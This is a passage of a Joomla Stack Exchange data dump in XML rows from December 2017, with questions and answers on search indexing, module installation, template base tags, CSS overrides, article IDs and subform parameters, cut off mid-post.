  <row Id="21999" PostTypeId="2" ParentId="19506" CreationDate="2017-12-01T12:49:08.290" Score="1" Body="&lt;p&gt;I was having the exact same problem... the indexer was including Author names on the smart search indexed content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way that I could overcome this, was changing the indexer code, and commenting the code block responsible for Author's data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Base_path/Plugins/Finder &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at categories/categories.php and content/content.php files.&#xA;They both have the index function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I commented the following lines: (content.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');&#xA;// $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'author');&#xA;// $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');      &#xA;// Add the author taxonomy data.&#xA;if (!empty($item-&amp;gt;author) || !empty($item-&amp;gt;created_by_alias)) {&#xA;//          $item-&amp;gt;addTaxonomy('Author', !empty($item-&amp;gt;created_by_alias) ? $item-&amp;gt;created_by_alias : $item-&amp;gt;author);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on categories.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add the meta-author.&#xA;//  $item-&amp;gt;metaauthor = $item-&amp;gt;metadata-&amp;gt;get('author');&#xA;&#xA;// Handle the link to the meta-data.&#xA;$item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'link');&#xA;$item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'metakey');&#xA;$item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');&#xA;// $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');&#xA;// $item-&amp;gt;addInstruction(FinderIndexer::META_CONTEXT, 'author');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, clean your index and start again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem that I found, but hadn't time enough to troubleshoot was that the indexed content stopped appearing on smart search admin &gt; indexed content list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you try searching on your frontend, everything will work and authors gonna be skipped from search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I find how to fix this problem, i'll let you know.&lt;/p&gt;&#xA;" OwnerUserId="11897" LastActivityDate="2017-12-01T12:49:08.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22004" PostTypeId="1" AcceptedAnswerId="24006" CreationDate="2017-12-01T18:58:42.453" Score="1" ViewCount="279" Body="&lt;p&gt;I have created my own module.  Within my module I have used the Joomla! &lt;strong&gt;subform&lt;/strong&gt; which allows me to create &lt;strong&gt;repeatable fields&lt;/strong&gt; using a separate XML file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I look at my module I see an error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JForm::getInstance could not load file&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use FTP to check, there is &lt;strong&gt;no XML file on the server&lt;/strong&gt;.  So the file is not being uploaded with my installation.  I am lead to believe I can leave the XML file in the main folder and not name it anywhere in my main XML file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even so, since it is not working I have tried adding the file to the main XML file using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename&amp;gt;repeatablefieldmap.xml&amp;lt;/filename&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That didn't work.  I then tried creating a folder called XML and loading&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;folder&amp;gt;xml&amp;lt;/folder&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, FTP shows no uploaded folder or file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I upload the file manually via FTP the module works, so it is purely a file upload issue I am facing.  I'm pretty inexperienced, does anyone know why this might be?  My personal thoughts at this stage are that possibly Joomla! blocks the upload of XML files except the main one, but that seems unlikely.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-01-05T18:46:45.477" Title="XML file does not upload with my custom module" Tags="|module|custom-module|xml|module-params|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22006" PostTypeId="1" AcceptedAnswerId="22010" CreationDate="2017-12-01T22:28:38.030" Score="3" ViewCount="1031" Body="&lt;p&gt;I'm using the Sourcerer extension to send script to my header tags on specific pages to comply with the new gtag requirements of placing conversion tags in the head tags of pages that you want to count as a conversion in google adwords,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to put a script into the head tags of one page only?&lt;/p&gt;&#xA;" OwnerUserId="11904" LastActivityDate="2019-06-01T00:32:09.010" Title="Placing inline javascript into the head tags of one page only" Tags="|joomla-3.x|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22007" PostTypeId="2" ParentId="22004" CreationDate="2017-12-01T22:46:44.940" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;The manifest (main xml) is the only file that doesn't need to be included in the manifest (ie itself).  Other xml files need to be listed either as files or be in listed folders.&lt;/li&gt;&#xA;&lt;li&gt;One attribute in the manifest is the &quot;method&quot; which can be set to 'install' or 'upgrade' with install as default. If you attempt to reinstall your module over the top of your existing module and the method attribute in the manifest is not 'upgrade' then it won't add or overwrite any files.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-12-01T22:46:44.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22008" PostTypeId="1" AcceptedAnswerId="22009" CreationDate="2017-12-01T22:55:18.497" Score="1" ViewCount="2598" Body="&lt;p&gt;I created the following article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2VZNt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2VZNt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which shows up in the list at&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost:81/fecms/administrator/index.php?option=com_content&amp;amp;view=articles&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to navigate to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost:81/fecms/syndication&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I got an error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;404 - Article not found&#xA;You may not be able to visit this page because of:&#xA;&#xA;an out-of-date bookmark/favourite&#xA;a search engine that has an out-of-date listing for this site&#xA;a mistyped address&#xA;you have no access to this page&#xA;The requested resource was not found.&#xA;An error has occurred while processing your request.&#xA;Please try one of the following pages:&#xA;&#xA;Home Page&#xA;If difficulties persist, please contact the System Administrator of this site and report the error below.&#xA;&#xA;Article not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So how do I find out the public URL of the article?&lt;/p&gt;&#xA;" OwnerUserId="11822" LastActivityDate="2017-12-02T00:11:27.517" Title="How do I find out the URL for an article?" Tags="|articles|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22009" PostTypeId="2" ParentId="22008" CreationDate="2017-12-02T00:11:27.517" Score="4" Body="&lt;p&gt;The structure of a Joomla site is driven by the menu. So while you could access that article at&#xA;&lt;a href=&quot;http://localhost:81/fecms/index.php?option=com_content&amp;amp;view=article&amp;amp;id=33&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:81/fecms/index.php?option=com_content&amp;amp;view=article&amp;amp;id=33&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By creating a menu item called 'syndication' of a single article type and selecting your article therein you could then access the article at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://localhost:81/fecms/syndication&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://localhost:81/fecms/syndication&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-12-02T00:11:27.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22010" PostTypeId="2" ParentId="22006" CreationDate="2017-12-02T04:13:52.877" Score="3" Body="&lt;p&gt;I love Regular Labs Sourcerer and use it on quite a few websites but if you only want to add code into the header area of a specific page, the easiest way to do this is to use the &lt;a href=&quot;https://extensions.joomla.org/extension/headtag&quot; rel=&quot;nofollow noreferrer&quot;&gt;HeadTag&lt;/a&gt; plugin (free) or the Pro version of the &lt;a href=&quot;https://extensions.joomla.org/extension/mod-html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mod HTML&lt;/a&gt; module or similar module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of the extensions recommended above is that you can select which page or pages the code should be added to.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-06-01T00:32:09.010" LastActivityDate="2019-06-01T00:32:09.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22011" PostTypeId="1" AcceptedAnswerId="22012" CreationDate="2017-12-02T07:11:22.980" Score="3" ViewCount="2368" Body="&lt;p&gt;I set up Joomla to access it through a reverse-proxy. Everything works fine except the HTML has a &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; tag pointing to the real domain name. The browser changes relative links like &lt;code&gt;/signup&lt;/code&gt; into fully qualified URIs using the &lt;code&gt;&amp;lt;base&amp;gt;&lt;/code&gt; href value. All of the links on the site are relative. How do I prevent Joomla from inserting the &lt;code&gt;&amp;lt;base href=&quot;...&quot;&amp;gt;&lt;/code&gt; tag into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; of the document, or else how do I set the value to the domain that has the reverse-proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried setting &lt;code&gt;public $live_site&lt;/code&gt; in &lt;code&gt;configuration.php&lt;/code&gt; but it didn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried turning off &quot;Use URL Rewriting&quot;, but it didn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Research: &lt;a href=&quot;https://duckduckgo.com/?q=joomla+reverse+proxy+base+tag&amp;amp;ia=qa&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://duckduckgo.com/?q=joomla+reverse+proxy+base+tag&amp;amp;ia=qa&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11822" LastActivityDate="2021-02-04T21:35:43.267" Title="How do I turn off Joomla inserting a BASE tag into the HTML?" Tags="|url|non-sef-url|header-tags|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22012" PostTypeId="2" ParentId="22011" CreationDate="2017-12-02T07:30:51.153" Score="4" Body="&lt;p&gt;I found this answer, but I don't think it's permanent.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=354052#p2725317&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=354052#p2725317&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To remove the base tag in the header simply add this to your template file (index.php)&lt;/p&gt;&#xA;&lt;p&gt;$this-&amp;gt;base = '';&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I edited &lt;code&gt;public_html/templates/yootheme/index.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11822" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-12-02T07:30:51.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22013" PostTypeId="2" ParentId="22011" CreationDate="2017-12-02T13:34:01.123" Score="1" Body="&lt;p&gt;I haven't tried it recently, but the following should still do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;unset($doc-&amp;gt;base);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It can be placed in your template's index.php, or in a system plugin.&#xA;For your template, see if the one you use offers a way for your to add your own custom functions somewhere, so it can be maintained when you update it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-12-02T13:34:01.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22015" PostTypeId="1" CreationDate="2017-12-02T18:32:00.310" Score="0" ViewCount="200" Body="&lt;p&gt;After installing my website on a local machine using Bitnami, I can see that both files and database have been properly restored.&#xA;However, the home page is diplaying the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The address xxx is not in the database.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've searched the issue and probably it is related with GeoIP, but can't figure out how to solve it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2017-12-02T18:32:00.310" Title="Error 0: The address xxxxx is not in the database" Tags="|joomla-3.x|installation|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22016" PostTypeId="1" CreationDate="2017-12-03T12:58:32.607" Score="1" ViewCount="13" Body="&lt;p&gt;I have added an extra field for membership number to Users but I cannot see how to specify where the field is displayed on the registration form. It comes as a separate section at the end after the Capcha box.&lt;br&gt;&#xA;Is there a way I can have it displayed with the rest as the first item on the form?  &lt;/p&gt;&#xA;" OwnerUserId="9286" LastActivityDate="2017-12-03T12:58:32.607" Title="Change possition on Registration form of extra fiels added to users" Tags="|user|form|registration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22017" PostTypeId="1" AcceptedAnswerId="22022" CreationDate="2017-12-04T01:01:51.917" Score="0" ViewCount="2861" Body="&lt;p&gt;I'm using the Joomla template RsKala! by RSJOOMLA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully put CSS override code in the custom.css for these items:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.item-image.pull-left,&#xA;.item-image.pull-right {&#xA;  float: none !important;&#xA;  width: 33% !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works fine. However, I'm trying to override the list-style (and list-style-type too?) that changes the UL and LI tags to none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working in the Google Chrome web browser I'm able to do Inspect and see that UL is being references from bootstrap. If I made the change there to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;list-style: none !important;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;list-style-type: none !important;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It does remove the bullet icons, which is what we want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I add what I expect to work in custom.css (same place the first css code I included is working), it doesn't have any effect at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ul {&#xA;   list-style: none !important;&#xA;   margin-left: 0 !important;&#xA;   padding-left: 1em !important;&#xA;   text-indent: -1em !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the ul being loaded someplace I'm not aware of after all this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing all this to remove the bullet icons from display for the Joomla module mod_articles_category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried adding to custom.css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html * {&#xA;list-style: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As well as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;html ul, ol, li, menu, dir {&#xA;        list-style: none !important;&#xA;        list-style-type: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and either has any effect.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2017-12-04T03:59:17.797" LastActivityDate="2017-12-09T00:57:35.007" Title="Can't override bootstrap CSS" Tags="|module|css|joomla-3.6|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="22018" PostTypeId="2" ParentId="17119" CreationDate="2017-12-04T07:08:36.477" Score="-1" Body="&lt;p&gt;I do not think you need to create a component like that, should use obGrabber component because it has ability of pull content from RSS feeds, or even from HTML pages.&lt;/p&gt;&#xA;" OwnerUserId="11780" LastActivityDate="2017-12-04T07:08:36.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22019" PostTypeId="1" AcceptedAnswerId="22023" CreationDate="2017-12-04T08:23:05.583" Score="1" ViewCount="231" Body="&lt;p&gt;I have this piece of code in my template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($showLeftColumn) : ?&amp;gt;&#xA;    &amp;lt;aside class=&quot;sppb-col-md-3 custom-style-left&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left-top&quot; style=&quot;xhtml&quot;/&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot;name=&quot;leftcenter&quot;style=&quot;xhtml&quot;/&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot;name=&quot;leftbottom&quot;style=&quot;xhtml&quot;/&amp;gt;&#xA;    &amp;lt;/aside&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code checks if the module position is selected, and based on that I want to change my layout. The problem being the position has te be always loaded in, but I want to make a left column in my website that shows a article at start publish date, wich means that it has to check if there is an article published in that category. And after that have to check if the date is the date at wich it has to be published. Is there a way in Joomla to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11727" LastEditorUserId="126" LastEditDate="2017-12-04T12:03:06.870" LastActivityDate="2017-12-05T17:17:27.093" Title="Checking if category has an published article" Tags="|joomla-3.x|php|articles|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22020" PostTypeId="1" AcceptedAnswerId="22021" CreationDate="2017-12-04T16:44:28.967" Score="3" ViewCount="608" Body="&lt;p&gt;I want to print the Article id next to the title and I need to get an article id. I used this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_id = JRequest::getVar('id');&#xA;echo $article_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it works great when I'm in article view (article layout). If I try to use this code in the category view (blog layout), I get the category id instead of the article id. How can I get article id in blog layout?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Regards, &#xA;Midhat&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2017-12-05T10:51:14.573" Title="Article id from category view" Tags="|joomla-3.x|id|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22021" PostTypeId="2" ParentId="22020" CreationDate="2017-12-04T18:20:27.970" Score="3" Body="&lt;p&gt;In both cases you should access the article's object id property. By the way, do note that &lt;a href=&quot;https://joomla.stackexchange.com/questions/17738/replacing-jrequest-deprecated-with-jinput&quot;&gt;&lt;strong&gt;&lt;code&gt;JRequest&lt;/code&gt; is deprecated&lt;/strong&gt;&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the article, in your article template you can add next to the article's title the: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;item-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the category blog title, we are actually talking about the same (as the blog layout is looping through the articles of a category, so you still have access to each article object properties. However the difference here is that the category blog article title layout is handled via the &lt;code&gt;JLayouts&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to override the following file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/layouts/joomla/content/blog_style_default_item_title.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside there you can find the article object in the &lt;code&gt;$displayData&lt;/code&gt; variable. So for the id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $displayData-&amp;gt;id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-12-05T10:51:14.573" LastActivityDate="2017-12-05T10:51:14.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22022" PostTypeId="2" ParentId="22017" CreationDate="2017-12-04T18:24:45.047" Score="0" Body="&lt;p&gt;Adding this to custom.css is the right CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li {&#xA;    list-style: none !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, to my surprise the web browser was caching the CSS. Even though content could be updated on the web site, and was there when it was reloaded, the CSS was not being updated. I ended up having to go clear cache from the web browser and then the newly added CSS appeared and worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still puzzled about this, because the cache wasn't updated on reload in Google Chrome and Safari, and Safari on the iPhone. In order for the new CSS to take effect, I had to clear cache on the above web browsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Cache Settings in Joomla 3.8.2 are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Cache Handler: File&#xA;Path to Cache Folder: (blank)&#xA;Cache Time *: 15&#xA;Platform Specific Caching: No&#xA;System Cache: OFF - Caching disabled.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2017-12-09T00:57:35.007" LastActivityDate="2017-12-09T00:57:35.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22023" PostTypeId="2" ParentId="22019" CreationDate="2017-12-05T17:17:27.093" Score="1" Body="&lt;p&gt;The below will get you the number of articles in category that has an ID of 1234.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$sql = 'SELECT count(`id`) AS numitems FROM #__content WHERE catid='&quot;.1234.&quot;'&quot;;&#xA;$db-&amp;gt;setQuery($sql);&#xA;$numItems = $db-&amp;gt;loadResult();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your condition should then change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($showLeftColumn &amp;amp;&amp;amp; $numItems) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-05T17:17:27.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22024" PostTypeId="2" ParentId="21993" CreationDate="2017-12-05T19:41:46.467" Score="1" Body="&lt;p&gt;While I do not have an answer to item 1-3, I can answer my question 4 at least a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla documentation was recently updated with information about the new router implementation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&lt;/a&gt;&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#The_Component_Router&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#The_Component_Router&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2017-12-05T19:41:46.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22025" PostTypeId="1" CreationDate="2017-12-05T20:59:57.557" Score="3" ViewCount="167" Body="&lt;p&gt;I've looked at other questions and I've tried what was suggested with no success.  I'm trying to get the created date to not show on my articles.  I've checked the global article setting and the individual settings and they are both set to hide.  If anyone can tell me how to hide the created date on articles would be greatly appreciated.  I'm using Joomla 3.8.1&lt;/p&gt;&#xA;" OwnerUserId="11962" LastActivityDate="2017-12-05T21:30:02.847" Title="Hiding created date not working" Tags="|joomla3.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22026" PostTypeId="2" ParentId="22025" CreationDate="2017-12-05T21:30:02.847" Score="3" Body="&lt;p&gt;It can be tricky to find the correct place to set these options. For regular articles, there are three places to set if the date is shown:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Global settings&lt;/li&gt;&#xA;&lt;li&gt;Article settings&lt;/li&gt;&#xA;&lt;li&gt;Menu item settings&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you're using a menu item to show a single article, #3 is the safest way to control how the article is displayed. Go to your menu item, click the &quot;Options&quot; tab and change the corresponding settings to &quot;Hide&quot;. Note that there are three different dates that can be shown/hidden: Created, Modified and Published.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0KBCt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0KBCt.png&quot; alt=&quot;Date settings&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2017-12-05T21:30:02.847" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22027" PostTypeId="1" AcceptedAnswerId="22097" CreationDate="2017-12-06T00:30:06.860" Score="2" ViewCount="1508" Body="&lt;p&gt;I have a sub form in my XML, which works fine in the back end, but I'm not sure of the best way to get the data out of the subform and display it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's part of my original XML&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;field name= &quot;repeatable_fields_map&quot;&#xA;               description= &quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_DESC&quot;&#xA;               type= &quot;subform&quot;&#xA;               label= &quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_LABEL&quot;&#xA;               min= &quot;1&quot;&#xA;               max= &quot;1000&quot;&#xA;               required= &quot;true&quot;&#xA;               formsource= &quot;/modules/mod_accreditations/xml/repeatablefieldsmap.xml&quot;&#xA;               multiple= &quot;true&quot;&#xA;               buttons= &quot;add,remove&quot;&#xA;               layout=&quot;joomla.form.field.subform.repeatable&quot;&#xA;               groupByFieldset=&quot;false&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my subform&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;  &amp;lt;field name=&quot;accreditationImage&quot;&#xA;         type=&quot;media&quot;&#xA;         label=&quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_ACCREDITATION_IMAGE_LABEL&quot;&#xA;         description=&quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_ACCREDITATION_IMAGE_DESC&quot;/&amp;gt;&#xA;  &amp;lt;field name=&quot;accreditationText&quot;&#xA;         type=&quot;text&quot;&#xA;         label=&quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_ACCREDITATION_TEXT_LABEL&quot;&#xA;         description=&quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_ACCREDITATION_TEXTE_DESC&quot;/&amp;gt;&#xA;  &amp;lt;field name=&quot;link&quot;&#xA;         type=&quot;url&quot;&#xA;         label=&quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_LINK_LABEL&quot;&#xA;         description=&quot;MOD_ACCREDITATIONS_REPEATABLE_FIELDS_MAP_LINK_DESC&quot;/&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's how I outpur my &lt;code&gt;$params&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo &quot;&amp;lt;pre&amp;gt;&quot; . print_r($params, true) . &quot;&amp;lt;/pre&amp;gt;&quot;; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's what arrives&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\Registry\Registry Object&#xA;(&#xA;    [data:protected] =&amp;gt; stdClass Object&#xA;        (&#xA;            [repeatable_fields_map] =&amp;gt; 